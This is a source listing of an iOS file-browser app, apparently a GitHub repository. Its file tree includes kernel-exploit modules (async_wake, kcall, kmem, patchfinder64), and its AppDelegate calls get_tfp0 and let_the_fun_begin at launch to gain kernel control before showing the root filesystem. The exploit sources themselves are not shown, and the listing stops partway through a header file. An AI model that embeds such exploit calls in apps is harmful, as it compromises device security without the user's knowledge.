├── Files.xcodeproj
├── project.pbxproj
├── project.xcworkspace
│ ├── contents.xcworkspacedata
│ └── xcuserdata
│ │ └── jakejames.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
└── xcuserdata
│ └── jakejames.xcuserdatad
│ └── xcschemes
│ └── xcschememanagement.plist
├── Files
├── AppDelegate.h
├── AppDelegate.m
├── Assets.xcassets
│ ├── AppIcon.appiconset
│ │ ├── 120-1.png
│ │ ├── 120.png
│ │ ├── 152.png
│ │ ├── 167.png
│ │ ├── 180.png
│ │ ├── 29.png
│ │ ├── 40.png
│ │ ├── 58-1.png
│ │ ├── 58.png
│ │ ├── 76.png
│ │ ├── 80-1.png
│ │ ├── 80-2.png
│ │ ├── 80.png
│ │ ├── 87.png
│ │ └── Contents.json
│ ├── Contents.json
│ ├── Document.imageset
│ │ ├── Contents.json
│ │ ├── DocumentBase-48.png
│ │ ├── DocumentBase-48@2x.png
│ │ └── DocumentBase-48@3x.png
│ ├── Folder.imageset
│ │ ├── Contents.json
│ │ └── Folder-50.pdf
│ └── Picture.imageset
│ │ ├── Contents.json
│ │ ├── Image48.png
│ │ ├── Image48@2x.png
│ │ └── Image48@3x.png
├── Base.lproj
│ └── LaunchScreen.storyboard
├── FBColumnNavigationController.h
├── FBColumnNavigationController.m
├── FBColumnViewController.h
├── FBColumnViewController.m
├── FBCustomPreviewController.h
├── FBCustomPreviewController.m
├── FBFilesTableViewController.h
├── FBFilesTableViewController.m
├── FBQLPreviewController.h
├── FBQLPreviewController.m
├── Info.plist
├── arm64_state.h
├── async_wake.c
├── async_wake.h
├── early_kalloc.c
├── early_kalloc.h
├── find_port.c
├── find_port.h
├── kcall.c
├── kcall.h
├── kdbg.c
├── kdbg.h
├── kmem.c
├── kmem.h
├── kutils.c
├── kutils.h
├── libproc.h
├── main.m
├── net
│ └── route.h
├── symbols.c
├── symbols.h
├── sys
│ ├── kern_control.h
│ └── proc_info.h
└── the_fun_part
│ ├── fun.h
│ ├── fun.m
│ ├── patchfinder64.c
│ └── patchfinder64.h
├── FilesDocumentProvider
├── Base.lproj
│ └── MainInterface.storyboard
├── DocumentPickerViewController.h
├── DocumentPickerViewController.m
├── FilesDocumentProvider.entitlements
└── Info.plist
├── FilesDocumentProviderFileProvider
├── FileProvider.h
├── FileProvider.m
├── FilesDocumentProviderFileProvider.entitlements
└── Info.plist
└── README.md
/Files.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Files.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/Files.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | Files.xcscheme
8 |
9 | orderHint
10 | 0
11 |
12 | FilesDocumentProvider.xcscheme
13 |
14 | orderHint
15 | 1
16 |
17 | FilesDocumentProviderFileProvider.xcscheme
18 |
19 | orderHint
20 | 2
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/Files/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @class FBColumnViewController;
12 | @interface AppDelegate : UIResponder
13 |
14 | @property (strong, nonatomic) UIWindow *window;
15 | @property (strong) FBColumnViewController *columnViewController;
16 |
17 |
18 | @end
19 |
20 |
--------------------------------------------------------------------------------
/Files/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "AppDelegate.h"
10 | #import "FBColumnViewController.h"
11 | #import "FBFilesTableViewController.h"
12 | #import "FBColumnNavigationController.h"
13 | #include "async_wake.h"
14 | #include "the_fun_part/fun.h"
15 |
16 | #include
17 | #include
18 | #include
19 | #include
20 |
21 | #define PRIVATE
22 | #include "libproc.h"
23 | @interface AppDelegate ()
24 |
25 | @end
26 |
27 | @implementation AppDelegate
28 |
29 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
30 | {
31 | mach_port_t user_client;
32 | mach_port_t tfp0 = get_tfp0(&user_client);
33 |
34 | let_the_fun_begin(tfp0, user_client);
35 |
36 | printf(" ♫ KPP never bothered me anyway... ♫ \n");
37 | sleep(2);
38 | NSUserDefaults *defaults = [[NSUserDefaults alloc] initWithSuiteName:@"group.com.highcaffeinecontent.Files"];
39 | NSInteger sortingFilter = [defaults integerForKey:@"FBSortingFilter"];
40 |
41 | self.window = [[UIWindow alloc] init];
42 |
43 | FBFilesTableViewController *tc = [[FBFilesTableViewController alloc] initWithPath:@"/"];
44 |
45 | FBColumnNavigationController *cnc = [[FBColumnNavigationController alloc] initWithRootViewController:tc];
46 |
47 | FBColumnViewController *columnViewController = [[FBColumnViewController alloc] initWithRootViewController:cnc];
48 | UINavigationController *nc = [[UINavigationController alloc] initWithRootViewController:columnViewController];
49 |
50 | UISegmentedControl *filterSegmentedControl = [[UISegmentedControl alloc] initWithItems:@[@"Name", @"Kind"]];
51 | filterSegmentedControl.apportionsSegmentWidthsByContent = NO;
52 | filterSegmentedControl.frame = CGRectMake(0, 0, 240, 32);
53 | filterSegmentedControl.selectedSegmentIndex = sortingFilter;
54 | columnViewController.navigationItem.titleView = filterSegmentedControl;
55 |
56 | [filterSegmentedControl addTarget:self action:@selector(filterChanged:) forControlEvents:UIControlEventValueChanged];
57 |
58 | columnViewController.navigationItem.rightBarButtonItem = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemSearch target:self action:@selector(goToFolder:)];
59 |
60 | [self.window makeKeyAndVisible];
61 |
62 | self.window.rootViewController = nc;
63 | self.columnViewController = columnViewController;
64 |
65 | [self becomeFirstResponder];
66 |
67 | return YES;
68 | }
69 |
70 | -(void)filterChanged:(UISegmentedControl *)sender
71 | {
72 | NSUserDefaults *defaults = [[NSUserDefaults alloc] initWithSuiteName:@"group.com.highcaffeinecontent.Files"];
73 |
74 | [defaults setInteger:sender.selectedSegmentIndex forKey:@"FBSortingFilter"];
75 | }
76 |
77 | -(void)navigateToPath:(NSString *)path
78 | {
79 | [self.columnViewController popToRootViewController];
80 |
81 | __block NSString *composedPath = @"/";
82 |
83 | NSArray *components = [path pathComponents];
84 |
85 | [components enumerateObjectsUsingBlock:^(NSString * _Nonnull component, NSUInteger idx, BOOL * _Nonnull stop) {
86 | if (idx == 0)
87 | return;
88 |
89 | NSString *highlightedComponent = (idx < components.count-1) ? components[idx+1] : nil;
90 |
91 | composedPath = [composedPath stringByAppendingPathComponent:component];
92 |
93 | FBFilesTableViewController *vc = [[FBFilesTableViewController alloc] initWithPath:composedPath];
94 |
95 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:vc];
96 | [self.columnViewController pushViewController:detailNavController];
97 |
98 | dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.3 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
99 | [vc highlightPathComponent:highlightedComponent];
100 | });
101 | }];
102 |
103 | }
104 |
105 | #pragma mark - Key Commands
106 |
107 | -(NSArray *)keyCommands
108 | {
109 | return @[
110 | [UIKeyCommand keyCommandWithInput:@"g" modifierFlags:UIKeyModifierShift|UIKeyModifierCommand action:@selector(goToFolder:) discoverabilityTitle:NSLocalizedString(@"Go to Folder…", nil)]
111 | ];
112 | }
113 |
114 | #pragma mark -
115 |
116 | -(void)goToFolder:(id)sender
117 | {
118 |
119 | UIAlertController * alert = [UIAlertController
120 | alertControllerWithTitle:NSLocalizedString(@"Go to the folder…", nil)
121 | message:nil
122 | preferredStyle:UIAlertControllerStyleAlert];
123 |
124 | [alert addTextFieldWithConfigurationHandler:^(UITextField *textField) {
125 | }];
126 |
127 | UIAlertAction* goAction = [UIAlertAction
128 | actionWithTitle:NSLocalizedString(@"Go", nil)
129 | style:UIAlertActionStyleDefault
130 | handler:^(UIAlertAction * action)
131 | {
132 | NSString *path = alert.textFields.firstObject.text;
133 |
134 | if (path.length > 0)
135 | {
136 | [self navigateToPath:path];
137 | }
138 |
139 | [alert dismissViewControllerAnimated:YES completion:nil];
140 |
141 | }];
142 | UIAlertAction* cancelAction = [UIAlertAction
143 | actionWithTitle:NSLocalizedString(@"Cancel", nil)
144 | style:UIAlertActionStyleCancel
145 | handler:^(UIAlertAction * action)
146 | {
147 | [alert dismissViewControllerAnimated:YES completion:nil];
148 | }];
149 |
150 | [alert addAction:cancelAction];
151 | [alert addAction:goAction];
152 |
153 | [self.columnViewController presentViewController:alert animated:YES completion:nil];
154 | }
155 |
156 | @end
157 |
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/120-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/120-1.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/120.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/120.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/152.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/152.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/167.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/167.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/180.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/180.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/29.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/40.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/58-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/58-1.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/58.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/58.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/76.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/80-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/80-1.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/80-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/80-2.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/80.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/80.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/87.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/87.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "size" : "29x29",
5 | "idiom" : "iphone",
6 | "filename" : "58.png",
7 | "scale" : "2x"
8 | },
9 | {
10 | "size" : "29x29",
11 | "idiom" : "iphone",
12 | "filename" : "87.png",
13 | "scale" : "3x"
14 | },
15 | {
16 | "size" : "40x40",
17 | "idiom" : "iphone",
18 | "filename" : "80.png",
19 | "scale" : "2x"
20 | },
21 | {
22 | "size" : "40x40",
23 | "idiom" : "iphone",
24 | "filename" : "120-1.png",
25 | "scale" : "3x"
26 | },
27 | {
28 | "size" : "60x60",
29 | "idiom" : "iphone",
30 | "filename" : "120.png",
31 | "scale" : "2x"
32 | },
33 | {
34 | "size" : "60x60",
35 | "idiom" : "iphone",
36 | "filename" : "180.png",
37 | "scale" : "3x"
38 | },
39 | {
40 | "size" : "29x29",
41 | "idiom" : "ipad",
42 | "filename" : "29.png",
43 | "scale" : "1x"
44 | },
45 | {
46 | "size" : "29x29",
47 | "idiom" : "ipad",
48 | "filename" : "58-1.png",
49 | "scale" : "2x"
50 | },
51 | {
52 | "size" : "40x40",
53 | "idiom" : "ipad",
54 | "filename" : "40.png",
55 | "scale" : "1x"
56 | },
57 | {
58 | "size" : "40x40",
59 | "idiom" : "ipad",
60 | "filename" : "80-2.png",
61 | "scale" : "2x"
62 | },
63 | {
64 | "size" : "76x76",
65 | "idiom" : "ipad",
66 | "filename" : "76.png",
67 | "scale" : "1x"
68 | },
69 | {
70 | "size" : "76x76",
71 | "idiom" : "ipad",
72 | "filename" : "152.png",
73 | "scale" : "2x"
74 | },
75 | {
76 | "size" : "83.5x83.5",
77 | "idiom" : "ipad",
78 | "filename" : "167.png",
79 | "scale" : "2x"
80 | },
81 | {
82 | "size" : "24x24",
83 | "idiom" : "watch",
84 | "scale" : "2x",
85 | "role" : "notificationCenter",
86 | "subtype" : "38mm"
87 | },
88 | {
89 | "size" : "27.5x27.5",
90 | "idiom" : "watch",
91 | "scale" : "2x",
92 | "role" : "notificationCenter",
93 | "subtype" : "42mm"
94 | },
95 | {
96 | "size" : "29x29",
97 | "idiom" : "watch",
98 | "role" : "companionSettings",
99 | "scale" : "2x"
100 | },
101 | {
102 | "size" : "29x29",
103 | "idiom" : "watch",
104 | "role" : "companionSettings",
105 | "scale" : "3x"
106 | },
107 | {
108 | "size" : "40x40",
109 | "idiom" : "watch",
110 | "filename" : "80-1.png",
111 | "scale" : "2x",
112 | "role" : "appLauncher",
113 | "subtype" : "38mm"
114 | },
115 | {
116 | "size" : "86x86",
117 | "idiom" : "watch",
118 | "scale" : "2x",
119 | "role" : "quickLook",
120 | "subtype" : "38mm"
121 | },
122 | {
123 | "size" : "98x98",
124 | "idiom" : "watch",
125 | "scale" : "2x",
126 | "role" : "quickLook",
127 | "subtype" : "42mm"
128 | }
129 | ],
130 | "info" : {
131 | "version" : 1,
132 | "author" : "xcode"
133 | }
134 | }
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "version" : 1,
4 | "author" : "xcode"
5 | }
6 | }
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Document.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "filename" : "DocumentBase-48.png",
6 | "scale" : "1x"
7 | },
8 | {
9 | "idiom" : "universal",
10 | "filename" : "DocumentBase-48@2x.png",
11 | "scale" : "2x"
12 | },
13 | {
14 | "idiom" : "universal",
15 | "filename" : "DocumentBase-48@3x.png",
16 | "scale" : "3x"
17 | }
18 | ],
19 | "info" : {
20 | "version" : 1,
21 | "author" : "xcode"
22 | }
23 | }
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Document.imageset/DocumentBase-48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Document.imageset/DocumentBase-48.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Document.imageset/DocumentBase-48@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Document.imageset/DocumentBase-48@2x.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Document.imageset/DocumentBase-48@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Document.imageset/DocumentBase-48@3x.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Folder.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "filename" : "Folder-50.pdf",
6 | "scale" : "1x"
7 | },
8 | {
9 | "idiom" : "universal",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "scale" : "3x"
15 | }
16 | ],
17 | "info" : {
18 | "version" : 1,
19 | "author" : "xcode"
20 | },
21 | "properties" : {
22 | "template-rendering-intent" : "template"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Folder.imageset/Folder-50.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Folder.imageset/Folder-50.pdf
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Picture.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "filename" : "Image48.png",
6 | "scale" : "1x"
7 | },
8 | {
9 | "idiom" : "universal",
10 | "filename" : "Image48@2x.png",
11 | "scale" : "2x"
12 | },
13 | {
14 | "idiom" : "universal",
15 | "filename" : "Image48@3x.png",
16 | "scale" : "3x"
17 | }
18 | ],
19 | "info" : {
20 | "version" : 1,
21 | "author" : "xcode"
22 | }
23 | }
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Picture.imageset/Image48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Picture.imageset/Image48.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Picture.imageset/Image48@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Picture.imageset/Image48@2x.png
--------------------------------------------------------------------------------
/Files/Assets.xcassets/Picture.imageset/Image48@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Picture.imageset/Image48@3x.png
--------------------------------------------------------------------------------
/Files/Base.lproj/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/Files/FBColumnNavigationController.h:
--------------------------------------------------------------------------------
1 | //
2 | // FBColumnNavigationController.h
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @class FBColumnViewController;
12 |
13 | @interface FBColumnNavigationController : UINavigationController
14 | @property (nonatomic, strong) FBColumnViewController *columnViewController;
15 |
16 | @end
17 |
--------------------------------------------------------------------------------
/Files/FBColumnNavigationController.m:
--------------------------------------------------------------------------------
1 | //
2 | // FBColumnNavigationController.m
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "FBColumnNavigationController.h"
10 | #import "FBColumnViewController.h"
11 |
12 |
13 | @implementation FBColumnNavigationController
14 |
15 | - (instancetype)initWithRootViewController:(UIViewController *)rootViewController
16 | {
17 | self = [super initWithRootViewController:rootViewController];
18 | if (self) {
19 | self.navigationBar.barTintColor = [UIColor whiteColor];
20 | self.navigationBar.opaque = YES;
21 | self.navigationBar.titleTextAttributes = @{NSFontAttributeName : [UIFont systemFontOfSize:18]};
22 |
23 | UITapGestureRecognizer *tap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(_performPop:)];
24 |
25 | [self.navigationBar addGestureRecognizer:tap];
26 |
27 | [self setToolbarHidden:NO];
28 | }
29 | return self;
30 | }
31 |
32 | -(void)setColumnViewController:(FBColumnViewController *)columnViewController
33 | {
34 | for (UIViewController *vc in self.viewControllers)
35 | {
36 | if ([vc respondsToSelector:@selector(setColumnViewController:)])
37 | vc.columnViewController = columnViewController;
38 | }
39 | _columnViewController = columnViewController;
40 | }
41 |
42 | -(void)_performPop:(id)sender
43 | {
44 | [self.columnViewController popToViewController:self];
45 | }
46 |
47 |
48 | @end
49 |
--------------------------------------------------------------------------------
/Files/FBColumnViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // FBColumnViewController.h
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @class FBColumnViewController;
12 |
13 | @protocol FBColumnViewControllerChild
14 |
15 | @property (nonatomic, weak) FBColumnViewController *columnViewController;
16 |
17 | @end
18 |
19 | @interface FBColumnViewController : UIViewController
20 | {
21 | BOOL _isDetailViewController;
22 | }
23 |
24 | @property (nonatomic, retain) UINavigationController *rootNavigationController;
25 | @property NSArray *viewControllers;
26 | @property CGFloat columnWidth;
27 | @property (nonatomic) UIScrollView *view;
28 |
29 | -(instancetype)initWithRootViewController:(UIViewController *)vc;
30 | -(void)pushViewController:(UIViewController *)vc;
31 | -(void)pushDetailViewController:(UIViewController *)vc;
32 | -(void)popViewController;
33 | -(void)popToViewController:(UIViewController *)vc;
34 | -(void)popToRootViewController;
35 | @end
36 |
--------------------------------------------------------------------------------
/Files/FBColumnViewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // FBColumnViewController.m
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "FBColumnViewController.h"
10 | #import "FBFilesTableViewController.h"
11 | #import "FBColumnNavigationController.h"
12 |
13 | @implementation FBColumnViewController
14 | @dynamic view;
15 |
16 | - (instancetype)initWithRootViewController:(UIViewController *)vc
17 | {
18 | self = [super init];
19 | if (self) {
20 | self.viewControllers = @[vc];
21 | self.columnWidth = 320.;
22 |
23 | vc.columnViewController = self;
24 | UIScrollView *sv = [[UIScrollView alloc] initWithFrame:self.view.frame];
25 | sv.autoresizingMask = self.view.autoresizingMask;
26 | sv.backgroundColor = [UIColor groupTableViewBackgroundColor];
27 |
28 | self.view = sv;
29 |
30 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone)
31 | {
32 | self.columnWidth = [UIScreen mainScreen].bounds.size.width;
33 |
34 | self.rootNavigationController = [[UINavigationController alloc] initWithRootViewController:vc.childViewControllers.firstObject];
35 | #ifdef APP_EXTENSION
36 | self.rootNavigationController.view.frame = CGRectMake(0, 20, self.view.frame.size.width, self.view.frame.size.height-64);
37 | #else
38 | self.rootNavigationController.view.frame = CGRectMake(0, 0, self.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta());
39 | #endif
40 | self.rootNavigationController.view.autoresizingMask = UIViewAutoresizingFlexibleHeight|UIViewAutoresizingFlexibleWidth;
41 |
42 | [self.rootNavigationController setToolbarHidden:NO];
43 |
44 | [self.view addSubview:self.rootNavigationController.view];
45 | }
46 | else
47 | {
48 | [self layout];
49 | }
50 |
51 | }
52 | return self;
53 | }
54 |
55 | -(void)pushDetailViewController:(UIViewController *)vc
56 | {
57 | _isDetailViewController = YES;
58 | [self pushViewController:vc];
59 | _isDetailViewController = NO;
60 | }
61 |
62 | -(void)pushViewController:(UIViewController *)vc
63 | {
64 | self.viewControllers = [self.viewControllers arrayByAddingObject:vc];
65 | vc.columnViewController = self;
66 |
67 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone)
68 | {
69 | [self.rootNavigationController pushViewController:vc.childViewControllers.firstObject animated:YES];
70 | [self.rootNavigationController setToolbarHidden:NO];
71 | }
72 | else
73 | {
74 | [self layout];
75 |
76 | self.view.contentSize = CGSizeMake(self.viewControllers.lastObject.view.frame.origin.x+self.viewControllers.lastObject.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta());
77 | [self.view scrollRectToVisible:vc.view.frame animated:YES];
78 | }
79 | }
80 |
81 | -(void)popViewController
82 | {
83 | if (self.viewControllers.count > 1)
84 | {
85 | self.viewControllers = [self.viewControllers subarrayWithRange:NSMakeRange(0, self.viewControllers.count-2)];
86 | }
87 | else
88 | {
89 | self.viewControllers = @[];
90 | }
91 |
92 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone)
93 | {
94 | [self.rootNavigationController popViewControllerAnimated:YES];
95 | }
96 | else
97 | {
98 | [self layout];
99 |
100 | self.view.contentSize = CGSizeMake(self.viewControllers.lastObject.view.frame.origin.x+self.viewControllers.lastObject.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta());
101 | [self.view scrollRectToVisible:self.viewControllers.lastObject.view.frame animated:YES];
102 | }
103 | }
104 |
105 | -(void)popToRootViewController
106 | {
107 | self.viewControllers = @[[self.viewControllers firstObject]];
108 |
109 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone)
110 | {
111 | [self.rootNavigationController popToRootViewControllerAnimated:YES];
112 | }
113 | else
114 | {
115 | [self layout];
116 |
117 | self.view.contentSize = CGSizeMake(self.viewControllers.lastObject.view.frame.origin.x+self.viewControllers.lastObject.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta());
118 | [self.view scrollRectToVisible:self.viewControllers.lastObject.view.frame animated:YES];
119 | }
120 | }
121 |
122 | -(void)popToViewController:(UIViewController *)vc
123 | {
124 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone)
125 | {
126 | }
127 | else
128 | {
129 | NSUInteger idx = [self.viewControllers indexOfObject:vc];
130 |
131 | if (idx < self.viewControllers.count)
132 | {
133 | self.viewControllers = [self.viewControllers subarrayWithRange:NSMakeRange(0, idx+1)];
134 |
135 | [self layout];
136 | }
137 |
138 | [self.view scrollRectToVisible:vc.view.frame animated:YES];
139 | }
140 | }
141 |
142 | -(void)layout
143 | {
144 | if (self.view.subviews.count && self.view.subviews.count > self.viewControllers.count)
145 | {
146 | [[self.view.subviews subarrayWithRange:NSMakeRange(self.viewControllers.count, self.view.subviews.count-self.viewControllers.count)] makeObjectsPerformSelector:@selector(removeFromSuperview)];
147 | }
148 |
149 | NSUInteger idx = 0;
150 | for (UIViewController *vc in self.viewControllers)
151 | {
152 |
153 | CGFloat desiredWidth = self.columnWidth;
154 |
155 | if (_isDetailViewController && idx == self.viewControllers.count-1)
156 | {
157 | desiredWidth = 512;
158 | }
159 |
160 | vc.view.frame = CGRectMake(idx*self.columnWidth+idx, 0, desiredWidth, self.view.frame.size.height-44-_FBStatusBarDelta());
161 |
162 | vc.view.autoresizingMask = UIViewAutoresizingFlexibleHeight;
163 | [self.view addSubview:vc.view];
164 |
165 | idx++;
166 | }
167 | }
168 |
169 | CGFloat _FBStatusBarDelta()
170 | {
171 | CGFloat statusBarDelta = 20;
172 |
173 | #ifdef APP_EXTENSION
174 | statusBarDelta = 0;
175 | #endif
176 |
177 | return statusBarDelta;
178 | }
179 |
180 | @end
181 |
--------------------------------------------------------------------------------
/Files/FBCustomPreviewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // FBCustomPreviewController.h
3 | // FileBrowser
4 | //
5 | // Created by Steven Troughton-Smith on 29/09/2014.
6 | // Copyright (c) 2014 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @class FBColumnViewController;
12 |
13 | @interface FBCustomPreviewController : UIViewController
14 | {
15 | __strong UITextView *textView;
16 | __strong UIImageView *imageView;
17 | }
18 | @property (strong) FBColumnViewController *columnViewController;
19 |
20 | +(BOOL)canHandleExtension:(NSString *)fileExt;
